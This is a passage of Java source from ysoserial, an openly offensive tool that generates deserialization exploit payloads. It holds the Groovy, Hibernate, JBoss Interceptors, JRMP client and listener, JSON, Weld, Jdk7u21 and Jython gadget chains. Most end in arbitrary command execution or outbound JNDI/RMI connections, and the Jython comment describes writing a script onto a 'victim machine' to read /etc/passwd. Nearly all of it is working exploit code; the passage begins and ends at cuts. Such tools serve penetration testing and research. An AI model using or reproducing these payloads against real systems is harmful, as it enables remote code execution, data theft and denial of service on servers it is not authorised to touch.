org.codehaus.groovy.runtime.MethodClosure; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; /* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() Comparator.compare() (Proxy) ConvertedClosure.invoke() MethodClosure.call() ... Method.invoke() Runtime.exec() Requires: groovy */ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) @Authors({ Authors.FROHOFF }) public class Groovy1 extends PayloadRunner implements ObjectPayload { public InvocationHandler getObject(final String command) throws Exception { final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); final Map map = Gadgets.createProxy(closure, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); return handler; } public static void main(final String[] args) throws Exception { PayloadRunner.run(Groovy1.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/Hibernate1.java ================================================ package ysoserial.payloads; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Map; import java.util.HashMap; import org.hibernate.engine.spi.TypedValue; import org.hibernate.tuple.component.AbstractComponentTuplizer; import org.hibernate.tuple.component.PojoComponentTuplizer; import org.hibernate.type.AbstractType; import org.hibernate.type.ComponentType; import org.hibernate.type.Type; import org.hibernate.EntityMode; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /** * * org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.type.ComponentType.getPropertyValue(C) * org.hibernate.type.ComponentType.getHashCode() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.engine.spi.TypedValue.hashCode() * * * Requires: * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) * * @author mbechler */ @Authors({ Authors.MBECHLER }) @PayloadTest(precondition = "isApplicableJavaVersion") public class Hibernate1 implements ObjectPayload, DynamicDependencies { public static boolean isApplicableJavaVersion() { return JavaVersion.isAtLeast(7); } public static String[] getDependencies () { if ( System.getProperty("hibernate5") != null ) { return new String[] { "org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", "javax.transaction:javax.transaction-api:1.2" }; } return new String[] { "org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", "javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1" }; } public static Object makeGetter ( Class tplClass, String method ) throws NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException { if ( System.getProperty("hibernate5") != null ) { return makeHibernate5Getter(tplClass, method); } return makeHibernate4Getter(tplClass, method); } public static Object makeHibernate4Getter ( Class tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { Class getterIf = Class.forName("org.hibernate.property.Getter"); Class basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); Constructor bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); Reflections.setAccessible(bgCon); if ( !method.startsWith("get") ) { throw new IllegalArgumentException("Hibernate4 can only call getters"); } String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4); Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName); Object arr = Array.newInstance(getterIf, 1); Array.set(arr, 0, g); return arr; } public static Object makeHibernate5Getter ( Class tplClass, String method ) throws NoSuchMethodException, SecurityException, ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { Class getterIf = Class.forName("org.hibernate.property.access.spi.Getter"); Class basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); Constructor bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class); Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method)); Object arr = Array.newInstance(getterIf, 1); Array.set(arr, 0, g); return arr; } public Object getObject ( String command ) throws Exception { Object tpl = Gadgets.createTemplatesImpl(command); Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); return makeCaller(tpl, getters); } static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { if ( System.getProperty("hibernate3") != null ) { return makeHibernate3Caller(tpl, getters); } return makeHibernate45Caller(tpl, getters); } static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); Reflections.setFieldValue(t, "componentTuplizer", tup); Reflections.setFieldValue(t, "propertySpan", 1); Reflections.setFieldValue(t, "propertyTypes", new Type[] { t }); TypedValue v1 = new TypedValue(t, null); Reflections.setFieldValue(v1, "value", tpl); Reflections.setFieldValue(v1, "type", t); TypedValue v2 = new TypedValue(t, null); Reflections.setFieldValue(v2, "value", tpl); Reflections.setFieldValue(v2, "type", t); return Gadgets.makeMap(v1, v2); } static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { // Load at runtime to avoid dependency conflicts Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping"); Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping"); Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue"); PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1); ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); HashMap hm = new HashMap(); hm.put(EntityMode.POJO, tup); Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm }); Reflections.setFieldValue(t, "tuplizerMapping", emtm); Reflections.setFieldValue(t, "propertySpan", 1); Reflections.setFieldValue(t, "propertyTypes", new Type[] { t }); Constructor typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class); Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); Reflections.setFieldValue(v1, "value", tpl); Reflections.setFieldValue(v1, "type", t); Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); Reflections.setFieldValue(v2, "value", tpl); Reflections.setFieldValue(v2, "type", t); return Gadgets.makeMap(v1, v2); } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(Hibernate1.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/Hibernate2.java ================================================ package ysoserial.payloads; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import com.sun.rowset.JdbcRowSetImpl; /** * * Another application filter bypass * * Needs a getter invocation that is provided by hibernate here * * javax.naming.InitialContext.InitialContext.lookup() * com.sun.rowset.JdbcRowSetImpl.connect() * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() * org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.type.ComponentType.getPropertyValue(C) * org.hibernate.type.ComponentType.getHashCode() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.engine.spi.TypedValue.hashCode() * * * Requires: * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) * * Arg: * - JNDI name (i.e. rmi:) * * Yields: * - JNDI lookup invocation (e.g. connect to remote RMI) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion") @Authors({ Authors.MBECHLER }) public class Hibernate2 implements ObjectPayload, DynamicDependencies { public static boolean isApplicableJavaVersion() { return JavaVersion.isAtLeast(7); } public static String[] getDependencies () { return Hibernate1.getDependencies(); } public Object getObject ( String command ) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(command); return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") ); } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(Hibernate2.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/JBossInterceptors1.java ================================================ package ysoserial.payloads; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.jboss.interceptor.builder.InterceptionModelBuilder; import org.jboss.interceptor.builder.MethodReference; import org.jboss.interceptor.proxy.DefaultInvocationContextFactory; import org.jboss.interceptor.proxy.InterceptorMethodHandler; import org.jboss.interceptor.reader.ClassMetadataInterceptorReference; import org.jboss.interceptor.reader.DefaultMethodMetadata; import org.jboss.interceptor.reader.ReflectiveClassMetadata; import org.jboss.interceptor.reader.SimpleInterceptorMetadata; import org.jboss.interceptor.spi.instance.InterceptorInstantiator; import org.jboss.interceptor.spi.metadata.InterceptorReference; import org.jboss.interceptor.spi.metadata.MethodMetadata; import org.jboss.interceptor.spi.model.InterceptionModel; import org.jboss.interceptor.spi.model.InterceptionType; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.lang.reflect.Constructor; import java.util.*; /* by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) @PayloadTest(precondition = "isApplicableJavaVersion") @Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) @Authors({ Authors.MATTHIASKAISER }) public class JBossInterceptors1 implements ObjectPayload { public static boolean isApplicableJavaVersion() { return JavaVersion.isAtLeast(7); } public Object getObject(final String command) throws Exception { final Object gadget = Gadgets.createTemplatesImpl(command); InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); Set s = new HashSet(); s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); Reflections.setAccessible(defaultMethodMetadataConstructor); MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); List list = new ArrayList(); list.add(methodMetadata); Map> hashMap = new HashMap>(); hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); builder.interceptAll().with(simpleInterceptorMetadata); InterceptionModel model = builder.build(); HashMap map = new HashMap(); map.put("ysoserial", "ysoserial"); DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { public Object createFor(InterceptorReference paramInterceptorReference) { return gadget; } }; return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); } public static void main(final String[] args) throws Exception { PayloadRunner.run(JBossInterceptors1.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/JRMPClient.java ================================================ package ysoserial.payloads; import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; /** * * * UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set, long) * DGCClient$EndpointEntry.registerRefs(List) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Thread.start() * DGCClient$EndpointEntry.(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Requires: * - JavaSE * * Argument: * - host:port to connect to, host only chooses random port (DOS if repeated many times) * * Yields: * * an established JRMP connection to the endpoint (if reachable) * * a connected RMI Registry proxy * * one system thread per endpoint (DOS) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient extends PayloadRunner implements ObjectPayload { public Registry getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/JRMPListener.java ================================================ package ysoserial.payloads; import java.rmi.server.RemoteObject; import java.rmi.server.RemoteRef; import java.rmi.server.UnicastRemoteObject; import sun.rmi.server.ActivationGroupImpl; import sun.rmi.server.UnicastServerRef; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /** * Gadget chain: * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 * UnicastRemoteObject.reexport() line: 266 * UnicastRemoteObject.exportObject(Remote, int) line: 320 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 * LiveRef.exportObject(Target) line: 147 * TCPEndpoint.exportObject(Target) line: 411 * TCPTransport.exportObject(Target) line: 249 * TCPTransport.listen() line: 319 * * Requires: * - JavaSE * * Argument: * - Port number to open listener to */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( skip = "This test would make you potentially vulnerable") @Authors({ Authors.MBECHLER }) public class JRMPListener extends PayloadRunner implements ObjectPayload { public UnicastRemoteObject getObject ( final String command ) throws Exception { int jrmpPort = Integer.parseInt(command); UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] { RemoteRef.class }, new Object[] { new UnicastServerRef(jrmpPort) }); Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); return uro; } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(JRMPListener.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/JSON1.java ================================================ package ysoserial.payloads; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map; import javax.management.openmbean.CompositeData; import javax.management.openmbean.CompositeType; import javax.management.openmbean.OpenDataException; import javax.management.openmbean.OpenType; import javax.management.openmbean.TabularDataSupport; import javax.management.openmbean.TabularType; import javax.xml.transform.Templates; import org.springframework.aop.framework.AdvisedSupport; import net.sf.json.JSONObject; /** * * A bit more convoluted example * * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() * java.lang.reflect.Method.invoke(Object, Object...) * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) * $Proxy0.getOutputProperties() * java.lang.reflect.Method.invoke(Object, Object...) * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[]) * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String) * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String) * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String) * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String) * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig) * net.sf.json.JSONObject._fromBean(Object, JsonConfig) * net.sf.json.JSONObject.fromObject(Object, JsonConfig) * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig) * net.sf.json.JSONObject._processValue(Object, JsonConfig) * net.sf.json.JSONObject.processValue(Object, JsonConfig) * net.sf.json.JSONObject.containsValue(Object, JsonConfig) * net.sf.json.JSONObject.containsValue(Object) * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData) * javax.management.openmbean.TabularDataSupport.equals(Object) * java.util.HashMap.putVal(int, K, V, boolean, boolean) * java.util.HashMap.readObject(ObjectInputStream) * * @author mbechler * */ @SuppressWarnings ( { "rawtypes", "unchecked", "restriction" } ) @Dependencies({ "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", // deep deps "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" }) @Authors({ Authors.MBECHLER }) public class JSON1 implements ObjectPayload { public Map getObject ( String command ) throws Exception { return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class); } /** * Will call all getter methods on payload that are defined in the given interfaces */ public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException { CompositeType rt = new CompositeType("a", "b", new String[] { "a" }, new String[] { "a" }, new OpenType[] { javax.management.openmbean.SimpleType.INTEGER }); TabularType tt = new TabularType("a", "b", rt, new String[] { "a" }); TabularDataSupport t1 = new TabularDataSupport(tt); TabularDataSupport t2 = new TabularDataSupport(tt); // we need to make payload implement composite data // it's very likely that there are other proxy impls that could be used AdvisedSupport as = new AdvisedSupport(); as.setTarget(payload); InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as); InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"); ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler); Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler); final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); JSONObject jo = new JSONObject(); Map m = new HashMap(); m.put("t", cdsProxy); Reflections.setFieldValue(jo, "properties", m); Reflections.setFieldValue(jo, "properties", m); Reflections.setFieldValue(t1, "dataMap", jo); Reflections.setFieldValue(t2, "dataMap", jo); return Gadgets.makeMap(t1, t2); } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(JSON1.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/JavassistWeld1.java ================================================ package ysoserial.payloads; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; import org.jboss.weld.interceptor.builder.MethodReference; import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; import org.jboss.weld.interceptor.spi.model.InterceptionModel; import org.jboss.weld.interceptor.spi.model.InterceptionType; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.lang.reflect.Constructor; import java.util.*; /* by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) @PayloadTest(precondition = "isApplicableJavaVersion") @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) @Authors({ Authors.MATTHIASKAISER }) public class JavassistWeld1 implements ObjectPayload { public static boolean isApplicableJavaVersion() { return JavaVersion.isAtLeast(7); } public Object getObject(final String command) throws Exception { final Object gadget = Gadgets.createTemplatesImpl(command); InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); Set s = new HashSet(); s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); Reflections.setAccessible(defaultMethodMetadataConstructor); MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); List list = new ArrayList(); list.add(methodMetadata); Map> hashMap = new HashMap>(); hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); builder.interceptAll().with(simpleInterceptorMetadata); InterceptionModel model = builder.build(); HashMap map = new HashMap(); map.put("ysoserial", "ysoserial"); DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { public Object createFor(InterceptorReference paramInterceptorReference) { return gadget; } }; return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); } public static void main(final String[] args) throws Exception { PayloadRunner.run(JavassistWeld1.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/Jdk7u21.java ================================================ package ysoserial.payloads; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.LinkedHashSet; import javax.xml.transform.Templates; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /* Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has the same JRE version requirements. See: https://gist.github.com/frohoff/24af7913611f8406eaf3 Call tree: LinkedHashSet.readObject() LinkedHashSet.add() ... TemplatesImpl.hashCode() (X) LinkedHashSet.add() ... Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) String.hashCode() (0) AnnotationInvocationHandler.memberValueHashCode() (X) TemplatesImpl.hashCode() (X) Proxy(Templates).equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() ... TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.() ... Runtime.exec() */ @SuppressWarnings({ "rawtypes", "unchecked" }) @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies() @Authors({ Authors.FROHOFF }) public class Jdk7u21 implements ObjectPayload { public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type", Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses", null); Reflections.setFieldValue(templates, "_class", null); map.put(zeroHashCodeStr, templates); // swap in real object return set; } public static boolean isApplicableJavaVersion() { JavaVersion v = JavaVersion.getLocalVersion(); return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); } public static void main(final String[] args) throws Exception { PayloadRunner.run(Jdk7u21.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/Jython1.java ================================================ package ysoserial.payloads; import org.apache.commons.io.FileUtils; import org.python.core.*; import java.math.BigInteger; import java.io.File; import java.lang.reflect.Proxy; import java.util.Arrays; import java.util.Comparator; import java.util.PriorityQueue; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.util.Reflections; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; /** * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) * * This version of Jython1 writes a python script on the victim machine and * executes it. The format of the parameters is: * * ; * * Where local path is the python script's location on the attack box and * remote path is the location where the script will be written/executed from. * For example: * * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" * * In the above example, if "read_etc_passwd.py" simply contained the string: * * raise Exception(open('/etc/passwd', 'r').read()) * * Then, when deserialized, the script will read in /etc/passwd and raise an * exception with its contents (which could be useful if the target returns * exception information). */ @PayloadTest(skip="non RCE") @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) @Dependencies({ "org.python:jython-standalone:2.5.2" }) @Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 }) public class Jython1 extends PayloadRunner implements ObjectPayload { public PriorityQueue getObject(String command) throws Exception { String[] paths = command.split(";"); if (paths.length != 2) { throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); } // Set payload parameters String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); // Python bytecode to write a file on disk and execute it String code = "740000" + //0 LOAD_GLOBAL 0 (open) "640100" + //3 LOAD_CONST 1 (remote path) "640200" + //6 LOAD_CONST 2 ('w+') "830200" + //9 CALL_FUNCTION 2 "7D0000" + //12 STORE_FAST 0 (file) "7C0000" + //15 LOAD_FAST 0 (file) "690100" + //18 LOAD_ATTR 1 (write) "640300" + //21 LOAD_CONST 3 (python code) "830100" + //24 CALL_FUNCTION 1 "01" + //27 POP_TOP "7C0000" + //28 LOAD_FAST 0 (file) "690200" + //31 LOAD_ATTR 2 (close) "830000" + //34 CALL_FUNCTION 0 "01" + //37 POP_TOP "740300" + //38 LOAD_GLOBAL 3 (execfile) "640100" + //41 LOAD_CONST 1 (remote path) "830100" + //44 CALL_FUNCTION 1 "01" + //47 POP_TOP "640000" + //48 LOAD_CONST 0 (None) "53"; //51 RETURN_VALUE // Helping consts and names PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; String[] names = new String[]{"open", "write", "close", "execfile"}; // Generating PyBytecode wrapper for our python bytecode PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "", 0, ""); Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); // Prepare Trigger Gadget Comparator comparator = 